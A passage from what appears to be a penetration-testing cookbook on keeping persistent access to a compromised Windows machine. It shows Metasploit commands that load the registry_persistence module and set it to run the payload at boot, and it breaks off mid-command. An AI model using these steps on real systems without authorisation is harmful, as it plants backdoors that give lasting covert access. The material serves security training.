Setting up a persistence with backdoors
In this recipe, we will learn how to establish a persistent connection with our target, allowing us to connect to it at our will. As the attacker, we want to ensure we have access to our target no matter what and backdooring the target can be effective for setting persistent connections.
Getting ready
Metasploit has several persistence modules available. In this recipe, we will have a look at some local and post-exploitation modules that we can use to establish persistence on the target machine.
How to do it...
- The first module we will try is the Windows Registry Only Persistence exploit module. This module will install the complete payload in the registry, which will be executed during booting up:
msf exploit(psexec) > use exploit/windows/local/registry_persistence msf exploit(registry_persistence) > set SESSION 1 SESSION => 1 msf exploit(registry_persistence) > set STARTUP SYSTEM STARTUP => SYSTEM msf exploit(registry_persistence) >...